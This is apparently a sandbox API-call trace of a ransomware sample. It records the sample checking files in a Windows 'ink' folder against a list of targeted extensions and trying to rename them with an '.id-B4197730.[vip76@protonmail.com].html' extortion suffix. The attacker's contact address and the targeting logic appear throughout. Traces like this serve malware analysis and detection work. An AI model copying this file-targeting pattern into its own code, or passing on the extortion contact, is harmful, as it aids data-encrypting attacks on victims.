	[0064.377] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0064.377] lstrlenW (lpString=".ppt") returned 4
	[0064.377] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.377] lstrlenW (lpString=".zip") returned 4
	[0064.377] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.377] lstrlenW (lpString=".rar") returned 4
	[0064.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.377] lstrlenW (lpString=".bz2") returned 4
	[0064.377] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.377] lstrlenW (lpString=".7z") returned 3
	[0064.377] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.377] lstrlenW (lpString=".dbf") returned 4
	[0064.377] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.377] lstrlenW (lpString=".1cd") returned 4
	[0064.377] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.377] lstrlenW (lpString=".jpg") returned 4
	[0064.377] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.377] lstrcmpiW (lpString1=".dat", lpString2=".html") returned -1
	[0064.377] lstrlenW (lpString="hwrenclm.dat") returned 12
	[0064.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.378] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=498624) returned 1
	[0064.378] CloseHandle (hObject=0x364) returned 1
	[0064.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20
	[0064.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.379] lstrlenW (lpString=".doc") returned 4
	[0064.379] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0064.379] lstrlenW (lpString=".docx") returned 5
	[0064.379] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0064.379] lstrlenW (lpString=".pdf") returned 4
	[0064.379] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0064.379] lstrlenW (lpString=".xls") returned 4
	[0064.379] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0064.379] lstrlenW (lpString=".xlsx") returned 5
	[0064.379] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0064.379] lstrlenW (lpString=".ppt") returned 4
	[0064.379] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0064.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.379] lstrlenW (lpString=".zip") returned 4
	[0064.379] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0064.379] lstrlenW (lpString=".rar") returned 4
	[0064.379] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0064.379] lstrlenW (lpString=".bz2") returned 4
	[0064.380] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0064.380] lstrlenW (lpString=".7z") returned 3
	[0064.380] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0064.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.380] lstrlenW (lpString=".dbf") returned 4
	[0064.380] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0064.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.380] lstrlenW (lpString=".1cd") returned 4
	[0064.380] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0064.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.380] lstrlenW (lpString=".jpg") returned 4
	[0064.380] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0064.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.380] lstrlenW (lpString=".doc") returned 4
	[0064.380] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0064.380] lstrlenW (lpString=".docx") returned 5
	[0064.380] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0064.380] lstrlenW (lpString=".pdf") returned 4
	[0064.380] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0064.380] lstrlenW (lpString=".xls") returned 4
	[0064.380] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0064.380] lstrlenW (lpString=".xlsx") returned 5
	[0064.380] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0064.380] lstrlenW (lpString=".ppt") returned 4
	[0064.380] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0064.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.380] lstrlenW (lpString=".zip") returned 4
	[0064.380] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0064.380] lstrlenW (lpString=".rar") returned 4
	[0064.380] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0064.380] lstrlenW (lpString=".bz2") returned 4
	[0064.380] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0064.381] lstrlenW (lpString=".7z") returned 3
	[0064.381] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0064.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.381] lstrlenW (lpString=".dbf") returned 4
	[0064.381] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0064.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.381] lstrlenW (lpString=".1cd") returned 4
	[0064.381] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0064.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63
	[0064.381] lstrlenW (lpString=".jpg") returned 4
	[0064.381] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0064.381] lstrcmpiW (lpString1=".dat", lpString2=".html") returned -1
	[0064.381] lstrlenW (lpString="hwrusash.dat") returned 12
	[0064.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.395] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3380096) returned 1
	[0064.395] CloseHandle (hObject=0x364) returned 1
	[0064.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20
	[0064.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0064.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.400] lstrlenW (lpString=".doc") returned 4
	[0064.400] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0064.400] lstrlenW (lpString=".docx") returned 5
	[0064.400] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1
	[0064.400] lstrlenW (lpString=".pdf") returned 4
	[0064.400] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0064.400] lstrlenW (lpString=".xls") returned 4
	[0064.400] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0064.400] lstrlenW (lpString=".xlsx") returned 5
	[0064.400] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1
	[0064.400] lstrlenW (lpString=".ppt") returned 4
	[0064.400] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0064.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.400] lstrlenW (lpString=".zip") returned 4
	[0064.400] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0064.400] lstrlenW (lpString=".rar") returned 4
	[0064.400] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0064.400] lstrlenW (lpString=".bz2") returned 4
	[0064.400] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0064.400] lstrlenW (lpString=".7z") returned 3
	[0064.401] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0064.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.401] lstrlenW (lpString=".dbf") returned 4
	[0064.401] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0064.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.401] lstrlenW (lpString=".1cd") returned 4
	[0064.401] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0064.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.401] lstrlenW (lpString=".jpg") returned 4
	[0064.401] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0064.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.401] lstrlenW (lpString=".doc") returned 4
	[0064.401] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0064.401] lstrlenW (lpString=".docx") returned 5
	[0064.401] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1
	[0064.401] lstrlenW (lpString=".pdf") returned 4
	[0064.401] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0064.401] lstrlenW (lpString=".xls") returned 4
	[0064.401] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0064.401] lstrlenW (lpString=".xlsx") returned 5
	[0064.401] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1
	[0064.401] lstrlenW (lpString=".ppt") returned 4
	[0064.401] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0064.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.401] lstrlenW (lpString=".zip") returned 4
	[0064.401] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0064.401] lstrlenW (lpString=".rar") returned 4
	[0064.401] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0064.401] lstrlenW (lpString=".bz2") returned 4
	[0064.401] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0064.401] lstrlenW (lpString=".7z") returned 3
	[0064.402] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0064.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.402] lstrlenW (lpString=".dbf") returned 4
	[0064.402] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0064.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.402] lstrlenW (lpString=".1cd") returned 4
	[0064.402] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0064.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63
	[0064.402] lstrlenW (lpString=".jpg") returned 4
	[0064.402] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0064.402] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.402] lstrlenW (lpString="ipsdan.xml") returned 10
	[0064.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.419] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=2514) returned 1
	[0064.420] CloseHandle (hObject=0x364) returned 1
	[0064.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20
	[0064.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.420] lstrlenW (lpString=".doc") returned 4
	[0064.420] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.420] lstrlenW (lpString=".docx") returned 5
	[0064.420] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0064.420] lstrlenW (lpString=".pdf") returned 4
	[0064.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.420] lstrlenW (lpString=".xls") returned 4
	[0064.420] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.420] lstrlenW (lpString=".xlsx") returned 5
	[0064.420] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0064.420] lstrlenW (lpString=".ppt") returned 4
	[0064.420] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.420] lstrlenW (lpString=".zip") returned 4
	[0064.420] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.420] lstrlenW (lpString=".rar") returned 4
	[0064.420] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.420] lstrlenW (lpString=".bz2") returned 4
	[0064.420] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.420] lstrlenW (lpString=".7z") returned 3
	[0064.420] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.421] lstrlenW (lpString=".dbf") returned 4
	[0064.421] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.421] lstrlenW (lpString=".1cd") returned 4
	[0064.421] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.421] lstrlenW (lpString=".jpg") returned 4
	[0064.421] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.421] lstrlenW (lpString=".doc") returned 4
	[0064.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.421] lstrlenW (lpString=".docx") returned 5
	[0064.421] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0064.421] lstrlenW (lpString=".pdf") returned 4
	[0064.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.421] lstrlenW (lpString=".xls") returned 4
	[0064.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.421] lstrlenW (lpString=".xlsx") returned 5
	[0064.421] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0064.421] lstrlenW (lpString=".ppt") returned 4
	[0064.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.421] lstrlenW (lpString=".zip") returned 4
	[0064.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.421] lstrlenW (lpString=".rar") returned 4
	[0064.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.421] lstrlenW (lpString=".bz2") returned 4
	[0064.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.421] lstrlenW (lpString=".7z") returned 3
	[0064.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.422] lstrlenW (lpString=".dbf") returned 4
	[0064.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.422] lstrlenW (lpString=".1cd") returned 4
	[0064.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0064.422] lstrlenW (lpString=".jpg") returned 4
	[0064.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.422] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.422] lstrlenW (lpString="ipsel.xml") returned 9
	[0064.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.427] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=2618) returned 1
	[0064.427] CloseHandle (hObject=0x364) returned 1
	[0064.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20
	[0064.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.428] lstrlenW (lpString=".doc") returned 4
	[0064.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.428] lstrlenW (lpString=".docx") returned 5
	[0064.428] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0064.428] lstrlenW (lpString=".pdf") returned 4
	[0064.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.428] lstrlenW (lpString=".xls") returned 4
	[0064.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.428] lstrlenW (lpString=".xlsx") returned 5
	[0064.428] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0064.428] lstrlenW (lpString=".ppt") returned 4
	[0064.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.428] lstrlenW (lpString=".zip") returned 4
	[0064.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.428] lstrlenW (lpString=".rar") returned 4
	[0064.428] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.428] lstrlenW (lpString=".bz2") returned 4
	[0064.428] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.428] lstrlenW (lpString=".7z") returned 3
	[0064.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.428] lstrlenW (lpString=".dbf") returned 4
	[0064.428] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.428] lstrlenW (lpString=".1cd") returned 4
	[0064.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.428] lstrlenW (lpString=".jpg") returned 4
	[0064.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.429] lstrlenW (lpString=".doc") returned 4
	[0064.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.429] lstrlenW (lpString=".docx") returned 5
	[0064.429] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0064.429] lstrlenW (lpString=".pdf") returned 4
	[0064.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.429] lstrlenW (lpString=".xls") returned 4
	[0064.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.429] lstrlenW (lpString=".xlsx") returned 5
	[0064.429] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0064.429] lstrlenW (lpString=".ppt") returned 4
	[0064.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.429] lstrlenW (lpString=".zip") returned 4
	[0064.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.429] lstrlenW (lpString=".rar") returned 4
	[0064.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.429] lstrlenW (lpString=".bz2") returned 4
	[0064.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.429] lstrlenW (lpString=".7z") returned 3
	[0064.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.429] lstrlenW (lpString=".dbf") returned 4
	[0064.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.429] lstrlenW (lpString=".1cd") returned 4
	[0064.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0064.429] lstrlenW (lpString=".jpg") returned 4
	[0064.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.430] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.430] lstrlenW (lpString="ipsesp.xml") returned 10
	[0064.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.431] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3024) returned 1
	[0064.431] CloseHandle (hObject=0x364) returned 1
	[0064.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20
	[0064.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0064.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0064.434] lstrlenW (lpString=".doc") returned 4
	[0064.434] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.434] lstrlenW (lpString=".docx") returned 5
